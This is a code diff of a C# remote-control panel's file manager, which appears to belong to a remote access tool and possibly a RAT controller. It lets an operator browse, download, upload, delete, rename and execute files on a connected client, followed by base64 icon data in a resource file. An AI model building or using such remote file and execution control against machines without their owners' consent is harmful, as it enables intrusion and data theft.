ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
return; return;
} }
@ -78,8 +80,8 @@ namespace Server.Forms
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID))) if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID)))
Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID)); Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID));
foreach (ListViewItem itm in listView1.SelectedItems) foreach (ListViewItem itm in listView1.SelectedItems)
{ {
if (itm.ImageIndex == 0 && itm.ImageIndex == 1 && itm.ImageIndex == 2) return; if (itm.ImageIndex == 0 && itm.ImageIndex == 1 && itm.ImageIndex == 2) return;
@ -89,7 +91,7 @@ namespace Server.Forms
msgpack.ForcePathObject("Command").AsString = "socketDownload"; msgpack.ForcePathObject("Command").AsString = "socketDownload";
msgpack.ForcePathObject("File").AsString = itm.ToolTipText; msgpack.ForcePathObject("File").AsString = itm.ToolTipText;
msgpack.ForcePathObject("DWID").AsString = dwid; msgpack.ForcePathObject("DWID").AsString = dwid;
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
this.BeginInvoke((MethodInvoker)(() => this.BeginInvoke((MethodInvoker)(() =>
{ {
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
@ -98,7 +100,7 @@ namespace Server.Forms
SD = new FormDownloadFile SD = new FormDownloadFile
{ {
Name = "socketDownload:" + dwid, Name = "socketDownload:" + dwid,
Text = "socketDownload:" + C.ID, Text = "socketDownload:" + Client.ID,
F = F F = F
}; };
SD.Show(); SD.Show();
@ -127,21 +129,21 @@ namespace Server.Forms
SD = new FormDownloadFile SD = new FormDownloadFile
{ {
Name = "socketUpload:" + Guid.NewGuid().ToString(), Name = "socketUpload:" + Guid.NewGuid().ToString(),
Text = "socketUpload:" + C.ID, Text = "socketUpload:" + Client.ID,
F = Program.form1, F = Program.form1,
C = C Client = Client
}; };
SD.dSize = new FileInfo(ofile).Length; SD.FileSize = new FileInfo(ofile).Length;
SD.labelfile.Text = Path.GetFileName(ofile); SD.labelfile.Text = Path.GetFileName(ofile);
SD.fullFileName = ofile; SD.FullFileName = ofile;
SD.label1.Text = "Upload:"; SD.label1.Text = "Upload:";
SD.clientFullFileName = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(ofile); SD.ClientFullFileName = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(ofile);
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "reqUploadFile"; msgpack.ForcePathObject("Command").AsString = "reqUploadFile";
msgpack.ForcePathObject("ID").AsString = SD.Name; msgpack.ForcePathObject("ID").AsString = SD.Name;
SD.Show(); SD.Show();
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
} }
} }
@ -163,7 +165,7 @@ namespace Server.Forms
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "deleteFile"; msgpack.ForcePathObject("Command").AsString = "deleteFile";
msgpack.ForcePathObject("File").AsString = itm.ToolTipText; msgpack.ForcePathObject("File").AsString = itm.ToolTipText;
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
else if (itm.ImageIndex == 0) else if (itm.ImageIndex == 0)
{ {
@ -171,7 +173,7 @@ namespace Server.Forms
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "deleteFolder"; msgpack.ForcePathObject("Command").AsString = "deleteFolder";
msgpack.ForcePathObject("Folder").AsString = itm.ToolTipText; msgpack.ForcePathObject("Folder").AsString = itm.ToolTipText;
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
} }
} }
@ -189,14 +191,14 @@ namespace Server.Forms
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Command").AsString = "getPath";
msgpack.ForcePathObject("Path").AsString = toolStripStatusLabel1.Text; msgpack.ForcePathObject("Path").AsString = toolStripStatusLabel1.Text;
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
else else
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getDrivers"; msgpack.ForcePathObject("Command").AsString = "getDrivers";
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
return; return;
} }
} }
@ -215,7 +217,7 @@ namespace Server.Forms
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "execute"; msgpack.ForcePathObject("Command").AsString = "execute";
msgpack.ForcePathObject("File").AsString = itm.ToolTipText; msgpack.ForcePathObject("File").AsString = itm.ToolTipText;
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
} }
} }
@ -227,7 +229,11 @@ namespace Server.Forms
private void Timer1_Tick(object sender, EventArgs e) private void Timer1_Tick(object sender, EventArgs e)
{ {
if (!C.ClientSocket.Connected) this.Close(); try
{
if (!Client.TcpClient.Connected) this.Close();
}
catch { this.Close(); }
} }
private void DESKTOPToolStripMenuItem_Click(object sender, EventArgs e) private void DESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
@ -238,8 +244,7 @@ namespace Server.Forms
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Command").AsString = "getPath";
msgpack.ForcePathObject("Path").AsString = "DESKTOP"; msgpack.ForcePathObject("Path").AsString = "DESKTOP";
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
//toolStripStatusLabel1.Text = "DESKTOP";
} }
catch catch
{ {
@ -255,8 +260,7 @@ namespace Server.Forms
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Command").AsString = "getPath";
msgpack.ForcePathObject("Path").AsString = "APPDATA"; msgpack.ForcePathObject("Path").AsString = "APPDATA";
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
//toolStripStatusLabel1.Text = "APPDATA";
} }
catch catch
{ {
@ -277,7 +281,7 @@ namespace Server.Forms
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "createFolder"; msgpack.ForcePathObject("Command").AsString = "createFolder";
msgpack.ForcePathObject("Folder").AsString = Path.Combine(toolStripStatusLabel1.Text, foldername); msgpack.ForcePathObject("Folder").AsString = Path.Combine(toolStripStatusLabel1.Text, foldername);
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
} }
catch { } catch { }
@ -298,7 +302,7 @@ namespace Server.Forms
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "copyFile"; msgpack.ForcePathObject("Command").AsString = "copyFile";
msgpack.ForcePathObject("File").AsString = files.ToString(); msgpack.ForcePathObject("File").AsString = files.ToString();
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
} }
catch { } catch { }
@ -312,7 +316,7 @@ namespace Server.Forms
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "pasteFile"; msgpack.ForcePathObject("Command").AsString = "pasteFile";
msgpack.ForcePathObject("File").AsString = toolStripStatusLabel1.Text; msgpack.ForcePathObject("File").AsString = toolStripStatusLabel1.Text;
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
catch { } catch { }
} }
@ -335,7 +339,7 @@ namespace Server.Forms
msgpack.ForcePathObject("Command").AsString = "renameFile"; msgpack.ForcePathObject("Command").AsString = "renameFile";
msgpack.ForcePathObject("File").AsString = listView1.SelectedItems[0].ToolTipText; msgpack.ForcePathObject("File").AsString = listView1.SelectedItems[0].ToolTipText;
msgpack.ForcePathObject("NewName").AsString = Path.Combine(toolStripStatusLabel1.Text, filename); msgpack.ForcePathObject("NewName").AsString = Path.Combine(toolStripStatusLabel1.Text, filename);
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
return; return;
} }
else if (listView1.SelectedItems[0].ImageIndex == 0) else if (listView1.SelectedItems[0].ImageIndex == 0)
@ -345,12 +349,48 @@ namespace Server.Forms
msgpack.ForcePathObject("Command").AsString = "renameFolder"; msgpack.ForcePathObject("Command").AsString = "renameFolder";
msgpack.ForcePathObject("Folder").AsString = listView1.SelectedItems[0].ToolTipText + "\\"; msgpack.ForcePathObject("Folder").AsString = listView1.SelectedItems[0].ToolTipText + "\\";
msgpack.ForcePathObject("NewName").AsString = Path.Combine(toolStripStatusLabel1.Text, filename); msgpack.ForcePathObject("NewName").AsString = Path.Combine(toolStripStatusLabel1.Text, filename);
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
} }
} }
catch { } catch { }
} }
} }
private void UserProfileToolStripMenuItem_Click(object sender, EventArgs e)
{
try
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getPath";
msgpack.ForcePathObject("Path").AsString = "USER";
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
catch
{
}
}
private void DriversListsToolStripMenuItem_Click(object sender, EventArgs e)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getDrivers";
toolStripStatusLabel1.Text = "";
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}
private void OpenClientFolderToolStripMenuItem_Click(object sender, EventArgs e)
{
try
{
if (!Directory.Exists(FullPath))
Directory.CreateDirectory(FullPath);
Process.Start(FullPath);
}
catch { }
}
} }
} }

View File

@ -127,8 +127,8 @@
<value> <value>
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAACA ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk
ZQAAAk1TRnQBSQFMAgEBAwEAATABAAEwAQABMAEAATABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAHA ZQAAAk1TRnQBSQFMAgEBAwEAAUgBAAFIAQABMAEAATABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAHA
AwABMAMAAQEBAAEgBgABkEYAAwEBAgMMARADJwE7AxkBIwMFAQdDAAEBQwAEAQECAwEBAgMBAQIDAQEC AwABMAMAAQEBAAEgBgABkEYAAwEBAgMMARADJwE7AxkBIwMFAQdDAAEBQwAEAQECAwEBAgMBAQIDAQEC
AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC
AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC
@ -136,432 +136,431 @@
AwABASsAAQEDBAEFAwsBDwMUARwDFQEdAwcBCgMCAQMDAQECAwABASwAAwIBAwMIAQsDDwEUAxIBGAMS AwABASsAAQEDBAEFAwsBDwMUARwDFQEdAwcBCgMCAQMDAQECAwABASwAAwIBAwMIAQsDDwEUAxIBGAMS
ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMS ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMS
ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMS ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMS
ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEQEXAw0BEgMHAQkDAgED/wC5AAM7AWMBXgJkAd0BVQG0 ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEQEXAw0BEgMHAQkDAgED/wC5AAM7AWMBXgJhAd0BUgG0
AdEB/wNCAXUDFgEfAwUBBwMBAQInAAEBAwMBBAMYASEDNgFYAU8CUwGlAVACUgGkAyIBMgMKAQ0DBwEJ AdEB/wNCAXUDFgEfAwUBBwMBAQInAAEBAwMBBAMYASEDNgFYAU8CUwGlAVACUgGkAyIBMgMKAQ0DBwEJ
AwMBBCgAAwEBAgMLAQ8DHwEtAy4BSAMzAVIDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMz AwMBBCgAAwEBAgMLAQ8DHwEtAy4BSAMzAVIDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMz
AVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMz AVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMz
AVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzIBUQMs AVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzIBUQMs
AUQDGwEmAwgBCwMAAQH/AKkAAwQBBQMcASgDRQF8A14B1QFaAX4BmQH6AVYBtQHSAf8DRgF/AyIBMQMT AUQDGwEmAwgBCwMAAQH/AKkAAwQBBQMcASgDRQF8A14B1QFUAXsBkAH6AVMBtQHSAf8DRgF/AyIBMQMT
ARoDCwEPAwUBBwMBAQIDAAEBAwMBBAMHAQoDEgEYAxsBJgMkATYDOAFdA0sBjgNYAbwBWgJdAdMBXQFk ARoDCwEPAwUBBwMBAQIDAAEBAwMBBAMHAQoDEgEYAxsBJgMkATYDOAFdA0sBjgNYAbwBWgJdAdMBXQFh
AWgB4gFdAWwBcgHwAV4BXwFiAd0DRwGCAzEBTwMgAS8DEgEYAwYBCAMCAQMDAAEBHAADBAEFAxcBIANI AWMB4gFdAWgBagHwA14B3QNHAYIDMQFPAyABLwMSARgDBgEIAwIBAwMAAQEcAAMEAQUDFwEgA0gBhQNQ
AYUDUAGjA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU AaMDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU
AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU
AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDUwGqA1ABnwM4AVwDEgEZAwIBA/8A AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNTAaoDUAGfAzgBXAMSARkDAgED/wCkAAEB
pAABAQMCAQMDIgEyA00BkQFgAWoBcgHoAV0BlQGhAfsBVwGyAdAB/wFWAbYB0wH/A0gBgwMnATsDHgEr AwIBAwMiATIDTQGRAV8BZgFpAegBXQGSAZkB+wFUAbIB0AH/AVMBtgHTAf8DSAGDAycBOwMeASsDGQEj
AxkBIwMUARwDEwQaBCQBNgM0AVQDSQGIA1YBtAFaAV0BXwHTAV8BaQFuAeABXQF7AYMB7QFdAY0BmQH5 AxQBHAMTBBoEJAE2AzQBVANJAYgDVgG0AVoCXQHTAV8BZAFmAeABXQFxAXcB7QFdAYoBkAH5AVABpAG1
AVMBpAG4Af0BVgGwAc4B/wFUAbQB0gH/AVMBlgGmAfoBYgFtAXUB5wFeAWMBZAHaA0IBdAMjATMDEgEY Af0BUwGwAc4B/wFRAbQB0gH/AVABjQGgAfoBYgFmAWsB5wFeAmEB2gNCAXQDIwEzAxIBGAMHAQoDAgED
AwcBCgMCAQMcAAMFAQcDHQEqA0EB+QNOAf8DTgH/A04B/wNOAf8DTgH/AwYB/wMGAf8DBgH/AwcB/wMP HAADBQEHAx0BKgNBAfkDSwH/A0sB/wNLAf8DSwH/A0sB/wMDAf8DAwH/AwMB/wMEAf8DDAH/AywB/wNL
Af8DLwH/A04B/wNOAf8DTgH/A04B/wNOAf8DLAH/A00B/wNNAf8DTQH/A00B/wNNAf8DTQH/A04B/wNO Af8DSwH/A0sB/wNLAf8DSwH/AykB/wNKAf8DSgH/A0oB/wNKAf8DSgH/A0oB/wNLAf8DSwH/A0sB/wNL
Af8DTgH/A04B/wNOAf8DTgH/A04B/wNOAf8DTgH/A04B/wNOAf8DTgH/A04B/wNsAf8DVgH/A04B/wNO Af8DSwH/A0sB/wNLAf8DSwH/A0sB/wNLAf8DSwH/A0sB/wNLAf8DaQH/A1MB/wNLAf8DSwH/A0sB/wNZ
Af8DTgH/A1kB1wMXASADBAEFCwABAQMCBAMEBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME AdcDFwEgAwQBBQsAAQEDAgQDBAQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME
AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME
AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwIBAwMA
AQUDAgEDAwABAegAAwIBAwMNAREDVQGtAVkBhAGPAfUBVgG3AdUB/wFWAbcB1QH/AVYBtwHVAf8BVwG3 AQHoAAMCAQMDDQERA1UBrQFZAX4BhQH1AVMBtwHVAf8BUwG3AdUB/wFTAbcB1QH/AVQBtwHUAf8DSAGE
AdQB/wNIAYQDKQE/AyMBMwMoATwDNAFUA0gBhANYAcYBYgFmAWgB7wFUAbUB0wH/AVQBtQHTAf8BVAG1 AykBPwMjATMDKAE8AzQBVANIAYQDWAHGAWIBYwFkAe8BUQG1AdMB/wFRAbUB0wH/AVEBtQHTAf8BUQG1
AdMB/wFUAbUB0wH/AVQBtQHTAf8BVAG1AdMB/wFUAbUB0wH/AVQBtQHTAf8BVAG1AdMB/wFVAbUB0wH/ AdMB/wFRAbUB0wH/AVEBtQHTAf8BUQG1AdMB/wFRAbUB0wH/AVEBtQHTAf8BUgG1AdMB/wFSAbUB0wH/
AVUBtQHTAf8BVgG1AdMB/wFXAbYB0wH/A04BmAMtAUYDHwEsAxEBFwMGAQgcAAMFAQcDHwEsAz8B/gNU AVMBtQHTAf8BVAG2AdMB/wNOAZgDLQFGAx8BLAMRARcDBgEIHAADBQEHAx8BLAM/Af4DUQH/A1EB/wNR
Af8DVAH/A1QB/wNUAf8DVAH/AwAB/wMIAf8DRAH/A1QB/wNUAf8DVAH/A1QB/wNUAf8DVAH/A1QB/wNU Af8DUQH/A1EB/wMAAf8DBQH/A0EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/AyoB/wNi
Af8DLQH/A2UB/wNlAf8DZQH/A2UB/wNlAf8DZQH/A1QB/wNUAf8DVAH/A1QB/wNUAf8DVAH/A1QB/wNU Af8DYgH/A2IB/wNiAf8DYgH/A2IB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNR
Af8DVAH/A1QB/wNUAf8DVAH/A0YB/wEAAb8BLwH/ATcBYwE3Af8DVAH/A1QB/wNUAf8DOQH/AxgBIgME Af8DUQH/A1EB/wNDAf8BAAG/ASwB/wE0AWABNAH/A1EB/wNRAf8DUQH/AzYB/wMYASIDBAEFBAADAgED
AQUEAAMCAQMDCQEMAxoBJQMqAUEDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE AwkBDAMaASUDKgFBAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE
AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE
AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMqAUEDHQEq AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDKgFBAx0BKgMKAQ4DAwEE
AwoBDgMDAQTgAAMMARADMAFLA1kBvgFdAWsBcAHtAVUBqAG7Af0BVwG4AdYB/wFXAbgB1gH/AVcBuAHW 4AADDAEQAzABSwNZAb4BXQFnAWkB7QFSAagBuAH9AVQBuAHWAf8BVAG4AdYB/wFUAbgB1gH/AVUBuAHV
Af8BWAG4AdUB/wFTAlUBsAFPAlABnAFWAlgBvAFcAmAB1AFbAWEBZAHhAVwBZgFsAeoBYAF2AX0B9gFR Af8BUwJVAbABTwJQAZwBVgJYAbwBXAJgAdQBWwJhAeEBXAFjAWUB6gFgAXABdwH2AUsBigGhAfwBUgG1
AZMBqgH8AVUBtQHUAf8BVQG1AdQB/wFVAbUB1AH/AVUBtQHUAf8BVQG1AdQB/wFVAbUB1AH/AVUBtQHU AdQB/wFSAbUB1AH/AVIBtQHUAf8BUgG1AdQB/wFSAbUB1AH/AVIBtQHUAf8BUgG1AdQB/wFSAbUB1AH/
Af8BVQG1AdQB/wFVAbUB1AH/AVYBtQHUAf8BVgG1AdQB/wFXAbUB1AH/AVgBtgHUAf8DTgGYAy4BSAMj AVIBtQHUAf8BUwG1AdQB/wFTAbUB1AH/AVQBtQHUAf8BVQG2AdQB/wNOAZgDLgFIAyMBMwMYASEDCgEO
ATMDGAEhAwoBDgMBAQIDAAEBFAADBQEHAx8BLAM0Af4DQAH/A0AB/wNAAf8DQAH/A0AB/wMAAf8DQAH/ AwEBAgMAAQEUAAMFAQcDHwEsAzQB/gM9Af8DPQH/Az0B/wM9Af8DPQH/AwAB/wM9Af8DPQH/Az0B/wM9
A0AB/wNAAf8DQAH/A0AB/wNAAf8DQAH/A0AB/wNAAf8DQAH/AycB/wNlAf8DZQH/A2UB/wNlAf8DZQH/ Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DJAH/A2IB/wNiAf8DYgH/A2IB/wNiAf8DYgH/Az0B/wM9
A2UB/wNAAf8DQAH/A0AB/wNAAf8DQAH/A0AB/wNAAf8DQAH/A0AB/wNAAf8DQAH/A0AB/wM8Af8BFgGH Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DPQH/AzkB/wETAYcBVwH/ATUBNwE1
AVoB/wE4AToBOAH/A0AB/wNAAf8DQAH/Ay4B/wMYASIDBAEFAwABAQMWAR4DTgGUA0gB9gMyAf4DIQH/ Af8DPQH/Az0B/wM9Af8DKwH/AxgBIgMEAQUDAAEBAxYBHgNOAZQDSAH2AzIB/gMeAf8DHAH/AxwB/wMc
Ax8B/wMfAf8DHwH/Ax8B/wMfAf8DIQH/AyEB/wMhAf8DIgH/AyMB/wMjAf8DJQH/AyUB/wMlAf8DJgH/ Af8DHAH/AxwB/wMeAf8DHgH/Ax4B/wMfAf8DIAH/AyAB/wMiAf8DIgH/AyIB/wMjAf8DIwH/AyQB/wMk
AyYB/wMnAf8DJwH/AyYB/wMmAf8DJgH/AyUB/wMlAf8DIwH/AyMB/wMhAf8DIAH/Ax8B/wMeAf8DHQH/ Af8DIwH/AyMB/wMjAf8DIgH/AyIB/wMgAf8DIAH/Ax4B/wMdAf8DHAH/AxsB/wMaAf8DGQH/ARoCGAH/
AxwB/wEdAhsB/wEnARsBHAH/AUgBIAEhAf8BbQIzAf8BgwI5Af8BbQE0ATIB/wFMAicB/wFRAT8BQAH3 ASQBGAEZAf8BRQEdAR4B/wFqAjAB/wGDAjYB/wFqATEBLwH/AUkCJAH/AVEBRAFGAfcDVAGvAx0BKQMC
A1QBrwMdASkDAgED3AADMgFQAVYCWQG+AWABjQGgAfkBXgGkAb4B/gFYAbkB2AH/AVgBuQHYAf8BWAG5 AQPcAAMyAVABVgJZAb4BYAGKAZQB+QFeAZ4BuAH+AVUBuQHYAf8BVQG5AdgB/wFVAbkB2AH/AVUBuQHY
AdgB/wFYAbkB2AH/AVkBuQHXAf8BTgFuAXoB8AFUAW0BdwHuAVEBdwGHAfcBPQF7AYcB/AFEAZcBsAH/ Af8BVgG5AdcB/wFOAWkBcAHwAVQBZwFtAe4BUQFuAYQB9wE6AXgBfgH8AUEBlwGwAf8BTAGrAckB/wFR
AU8BqwHJAf8BVAG0AdIB/wFVAbYB1QH/AVUBtgHVAf8BVQG2AdUB/wFVAbYB1QH/AVUBtgHVAf8BVQG2 AbQB0gH/AVIBtgHVAf8BUgG2AdUB/wFSAbYB1QH/AVIBtgHVAf8BUgG2AdUB/wFSAbYB1QH/AVIBtgHV
AdUB/wFVAbYB1QH/AVUBtgHVAf8BVQG2AdUB/wFWAbcB1QH/AVYBtwHVAf8BVgG3AdUB/wFXAbcB1QH/ Af8BUgG2AdUB/wFSAbYB1QH/AVMBtwHVAf8BUwG3AdUB/wFTAbcB1QH/AVQBtwHVAf8BVQG3AdYB/wNO
AVgBtwHWAf8DTgGYAy0BRgMjATMDGQEjAwwBEAMCAQMDAAEBFAADBQEHAx4BKwMqAf4DLwH/Ay8B/wMv AZgDLQFGAyMBMwMZASMDDAEQAwIBAwMAAQEUAAMFAQcDHgErAyoB/gMsAf8DLAH/AywB/wMsAf8DLAH/
